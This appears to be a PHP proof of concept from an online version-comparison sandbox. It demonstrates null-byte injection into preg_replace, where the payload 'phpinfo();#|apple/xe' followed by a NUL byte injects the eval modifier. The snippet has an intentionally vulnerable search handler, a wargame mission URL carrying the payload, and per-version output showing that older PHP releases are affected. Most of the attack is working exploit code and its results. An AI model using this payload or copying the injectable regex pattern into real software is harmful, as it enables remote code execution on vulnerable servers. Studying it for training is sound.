<?php
//$search = htmlentities($_GET['search']);
$search=htmlentities("phpinfo();#|apple/xe\x00");
echo $search;
if (strpos($search, 'apple') !== false){
echo preg_replace("/".$search."/", $search." <img src='".$search.".png'>", "apple");
}elseif (strpos($search, 'orange') !== false){
echo preg_replace("/".$search."/", $search." <img src='".$search.".png'>", "orange");
}elseif (strpos($search, 'banana') !== false){
echo preg_replace("/".$search."/", $search." <img src='".$search.".png'>", "banana");
}elseif (strpos($search, 'kiwi') !== false){
echo preg_replace("/".$search."/", $search." <img src='".$search.".png'>", "kiwi");
}else echo "Please search for apple, orange, banana, or kiwi.";
#http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2011-July/007960.html
#http://ha.xxor.se/2011/06/null-byte-injection-in-pregreplace.html
#http://www.enigmagroup.org/missions/basics/auditing/12/index.php?search=phpinfo();%23|apple/e%00
- Output for 8.2.0 - 8.2.18, 8.3.0 - 8.3.6
- phpinfo();#|apple/xe
Warning: preg_replace(): NUL is not a valid modifier in /in/qYI8E on line 6
- Output for 5.4.7 - 5.4.45, 5.5.0 - 5.5.38, 5.6.0 - 5.6.38, 7.0.0 - 7.0.33, 7.1.0 - 7.1.25, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28
- phpinfo();#|apple/xe
Warning: preg_replace(): Null byte in regex in /in/qYI8E on line 6
- Output for 4.3.0 - 4.3.11, 4.4.0 - 4.4.9, 5.0.0 - 5.0.5, 5.1.1 - 5.1.6, 5.2.0 - 5.2.17, 5.3.0 - 5.3.29, 5.4.0 - 5.4.6
- phpinfo();#|apple/xe apple
- Output for 5.1.0
- Fatal error: fatal flex scanner internal error--end of buffer missed in /in/qYI8E on line 21
Process exited with code 255.
preferences:
308.88 ms | 401 KiB | 422 Q